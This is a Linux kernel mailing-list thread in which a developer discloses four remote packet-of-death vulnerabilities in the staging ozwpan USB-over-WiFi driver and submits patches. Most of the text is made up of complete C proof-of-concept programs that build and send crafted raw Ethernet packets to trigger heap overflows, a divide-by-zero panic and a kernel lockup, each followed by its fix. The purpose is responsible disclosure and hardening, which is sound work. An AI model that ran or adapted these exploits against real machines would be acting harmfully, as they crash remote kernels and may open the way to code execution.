> drivers/staging/ozwpan/ozusbif.h | 4 ++--
> drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
> 3 files changed, 15 insertions(+), 8 deletions(-)
Any reason you didn't cc: the maintainer who could actually apply these
to the kernel tree?
Please use scripts/get_maintainer.pl to properly notify the correct
people.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:43 ` [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities Greg KH
@ 2015-05-13 18:48 ` Jason A. Donenfeld
2015-05-13 18:53 ` Greg KH
0 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:48 UTC (permalink / raw)
To: Greg KH; +Cc: oss-security, shigekatsu.tateno, linux-kernel, netdev
On Wed, May 13, 2015 at 8:43 PM, Greg KH <greg@kroah.com> wrote:
> Any reason you didn't cc: the maintainer who could actually apply these
> to the kernel tree?
I did, look at the email again: the first recipient is
<shigekatsu.tateno@atmel.com>.
>From the MAINTAINERS file:
STAGING - OZMO DEVICES USB OVER WIFI DRIVER
M: Shigekatsu Tateno <shigekatsu.tateno@atmel.com>
S: Maintained
F: drivers/staging/ozwpan/
^ permalink raw reply [flat|nested] 42+ messages in thread
* Re: [oss-security] [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:48 ` Jason A. Donenfeld
@ 2015-05-13 18:53 ` Greg KH
2015-05-13 18:58 ` Jason A. Donenfeld
0 siblings, 1 reply; 42+ messages in thread
From: Greg KH @ 2015-05-13 18:53 UTC (permalink / raw)
To: Jason A. Donenfeld; +Cc: oss-security, shigekatsu.tateno, linux-kernel, netdev
On Wed, May 13, 2015 at 08:48:31PM +0200, Jason A. Donenfeld wrote:
> On Wed, May 13, 2015 at 8:43 PM, Greg KH <greg@kroah.com> wrote:
> > Any reason you didn't cc: the maintainer who could actually apply these
> > to the kernel tree?
>
> I did, look at the email again: the first recipient is
> <shigekatsu.tateno@atmel.com>.
>
> >From the MAINTAINERS file:
> STAGING - OZMO DEVICES USB OVER WIFI DRIVER
> M: Shigekatsu Tateno <shigekatsu.tateno@atmel.com>
> S: Maintained
> F: drivers/staging/ozwpan/
$ ./scripts/get_maintainer.pl --file drivers/staging/ozwpan/Makefile
Shigekatsu Tateno <shigekatsu.tateno@atmel.com> (maintainer:STAGING - OZMO DE...)
Greg Kroah-Hartman <gregkh@linuxfoundation.org> (supporter:STAGING SUBSYSTEM)
devel@driverdev.osuosl.org (open list:STAGING SUBSYSTEM)
linux-kernel@vger.kernel.org (open list)
You missed me, and the driverdev mailing list. netdev could care less
about this.
Please resend to get the proper people involved.
thanks,
greg k-h
^ permalink raw reply [flat|nested] 42+ messages in thread
* [PATCH 0/4] ozwpan: Four remote packet-of-death vulnerabilities
2015-05-13 18:53 ` Greg KH
@ 2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
` (4 more replies)
0 siblings, 5 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:58 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
The ozwpan driver accepts network packets, parses them, and converts
them into various USB functionality. There are numerous security
vulnerabilities in the handling of these packets. Two of them result in
a memcpy(kernel_buffer, network_packet, -length), one of them is a
divide-by-zero, and one of them is a loop that decrements -1 until it's
zero.
I've written a very simple proof-of-concept for each one of these
vulnerabilities to aid with detecting and fixing them. The general
operation of each proof-of-concept code is:
- Load the module with:
# insmod ozwpan.ko g_net_dev=eth0
- Compile the PoC with ozprotocol.h from the kernel tree:
$ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./
$ gcc ./poc.c -o ./poc
- Run the PoC:
# ./poc eth0 [mac-address]
These PoCs should also be useful to the maintainers for testing out
constructing and sending various other types of malformed packets against
which this driver should be hardened.
Please assign CVEs for these vulnerabilities. I believe the first two
patches of this set can receive one CVE for both, and the remaining two
can receive one CVE each.
On a slightly related note, there are several other vulnerabilities in
this driver that are worth looking into. When ozwpan receives a packet,
it casts the packet into a variety of different structs, based on the
value of type and length parameters inside the packet. When making these
casts, and when reading bytes based on this length parameter, the actual
length of the packet in the socket buffer is never actually consulted. As
such, it's very likely that a packet could be sent that results in the
kernel reading memory in adjacent buffers, resulting in an information
leak, or from unpaged addresses, resulting in a crash. In the former case,
it may be possible with certain message types to actually send these
leaked adjacent bytes back to the sender of the packet. So, I'd highly
recommend the maintainers of this driver go branch-by-branch from the
initial rx function, adding checks to ensure all reads and casts are
within the bounds of the socket buffer.
Jason A. Donenfeld (4):
ozwpan: Use proper check to prevent heap overflow
ozwpan: Use unsigned ints to prevent heap overflow
ozwpan: divide-by-zero leading to panic
ozwpan: unchecked signed subtraction leads to DoS
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
drivers/staging/ozwpan/ozusbsvc1.c | 11 +++++++++--
3 files changed, 15 insertions(+), 8 deletions(-)
--
2.3.6
^ permalink raw reply [flat|nested] 42+ messages in thread
* [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow
2015-05-13 18:58 ` Jason A. Donenfeld
@ 2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-24 20:26 ` Greg Kroah-Hartman
2015-05-13 18:58 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
` (3 subsequent siblings)
4 siblings, 1 reply; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:58 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
Since elt->length is a u8, we can make this variable a u8. Then we can
do proper bounds checking more easily. Without this, a potentially
negative value is passed to the memcpy inside oz_hcd_get_desc_cnf,
resulting in a remotely exploitable heap overflow with network
supplied data.
This could result in remote code execution. A PoC which obtains DoS
follows below. It requires the ozprotocol.h file from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp) - 2
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(0),
.total_size = htole16(0),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index d434d8c..cd6c63e 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -390,8 +390,10 @@ void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)
case OZ_GET_DESC_RSP: {
struct oz_get_desc_rsp *body =
(struct oz_get_desc_rsp *)usb_hdr;
- int data_len = elt->length -
+ u8 data_len = elt->length -
sizeof(struct oz_get_desc_rsp) + 1;
+ if (data_len > elt->length)
+ break;
u16 offs = le16_to_cpu(get_unaligned(&body->offset));
u16 total_size =
le16_to_cpu(get_unaligned(&body->total_size));
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH 2/4] ozwpan: Use unsigned ints to prevent heap overflow
2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
@ 2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
` (2 subsequent siblings)
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:58 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozhcd.c | 8 ++++----
drivers/staging/ozwpan/ozusbif.h | 4 ++--
2 files changed, 6 insertions(+), 6 deletions(-)
diff --git a/drivers/staging/ozwpan/ozhcd.c b/drivers/staging/ozwpan/ozhcd.c
index 5ff4716..784b5ec 100644
--- a/drivers/staging/ozwpan/ozhcd.c
+++ b/drivers/staging/ozwpan/ozhcd.c
@@ -746,8 +746,8 @@ void oz_hcd_pd_reset(void *hpd, void *hport)
/*
* Context: softirq
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
- int length, int offset, int total_size)
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status, const u8 *desc,
+ u8 length, u16 offset, u16 total_size)
{
struct oz_port *port = hport;
struct urb *urb;
@@ -759,8 +759,8 @@ void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc,
if (!urb)
return;
if (status == 0) {
- int copy_len;
- int required_size = urb->transfer_buffer_length;
+ unsigned int copy_len;
+ unsigned int required_size = urb->transfer_buffer_length;
if (required_size > total_size)
required_size = total_size;
diff --git a/drivers/staging/ozwpan/ozusbif.h b/drivers/staging/ozwpan/ozusbif.h
index 4249fa3..d2a6085 100644
--- a/drivers/staging/ozwpan/ozusbif.h
+++ b/drivers/staging/ozwpan/ozusbif.h
@@ -29,8 +29,8 @@ void oz_usb_request_heartbeat(void *hpd);
/* Confirmation functions.
*/
-void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status,
- const u8 *desc, int length, int offset, int total_size);
+void oz_hcd_get_desc_cnf(void *hport, u8 req_id, u8 status,
+ const u8 *desc, u8 length, u16 offset, u16 total_size);
void oz_hcd_control_cnf(void *hport, u8 req_id, u8 rcode,
const u8 *data, int data_len);
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH 3/4] ozwpan: divide-by-zero leading to panic
2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 1/4] ozwpan: Use proper check to prevent heap overflow Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 2/4] ozwpan: Use unsigned ints " Jason A. Donenfeld
@ 2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-13 18:58 ` [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:58 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
A network supplied parameter was not checked before division, leading to
a divide-by-zero. Since this happens in the softirq path, it leads to a
crash. A PoC follows below, which requires the ozprotocol.h file from
this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed)
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 5 ++++-
1 file changed, 4 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index cd6c63e..2e67956 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,7 +326,10 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n = (len - sizeof(struct oz_multiple_fixed)+1)
+ int n;
+ if (!body->unit_size)
+ break;
+ n = (len - sizeof(struct oz_multiple_fixed)+1)
/ body->unit_size;
while (n--) {
oz_hcd_data_ind(usb_ctx->hport, body->endpoint,
--
2.3.6
^ permalink raw reply related [flat|nested] 42+ messages in thread
* [PATCH 4/4] ozwpan: unchecked signed subtraction leads to DoS
2015-05-13 18:58 ` Jason A. Donenfeld
` (2 preceding siblings ...)
2015-05-13 18:58 ` [PATCH 3/4] ozwpan: divide-by-zero leading to panic Jason A. Donenfeld
@ 2015-05-13 18:58 ` Jason A. Donenfeld
2015-05-26 12:17 ` [PATCH v2 0/4] ozwpan: Four remote packet-of-death vulnerabilities Jason A. Donenfeld
4 siblings, 0 replies; 42+ messages in thread
From: Jason A. Donenfeld @ 2015-05-13 18:58 UTC (permalink / raw)
To: oss-security, linux-kernel, Shigekatsu Tateno, Greg Kroah-Hartman, devel
Cc: Jason A. Donenfeld
The subtraction here was using a signed integer and did not have any
bounds checking at all. This commit adds proper bounds checking, made
easy by use of an unsigned integer. This way, a single packet won't be
able to remotely trigger a massive loop, locking up the system for a
considerable amount of time. A PoC follows below, which requires
ozprotocol.h from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
struct oz_elt oz_elt2;
struct oz_multiple_fixed oz_multiple_fixed;
} __packed packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 0,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
},
.oz_elt2 = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_multiple_fixed) - 3
},
.oz_multiple_fixed = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_USB_ENDPOINT_DATA,
.endpoint = 0,
.format = OZ_DATA_F_MULTIPLE_FIXED,
.unit_size = 1,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
---
drivers/staging/ozwpan/ozusbsvc1.c | 4 +++-
1 file changed, 3 insertions(+), 1 deletion(-)
diff --git a/drivers/staging/ozwpan/ozusbsvc1.c b/drivers/staging/ozwpan/ozusbsvc1.c
index 2e67956..934a571 100644
--- a/drivers/staging/ozwpan/ozusbsvc1.c
+++ b/drivers/staging/ozwpan/ozusbsvc1.c
@@ -326,11 +326,13 @@ static void oz_usb_handle_ep_data(struct oz_usb_ctx *usb_ctx,
struct oz_multiple_fixed *body =
(struct oz_multiple_fixed *)data_hdr;
u8 *data = body->data;
- int n;
+ unsigned int n;
if (!body->unit_size)
break;
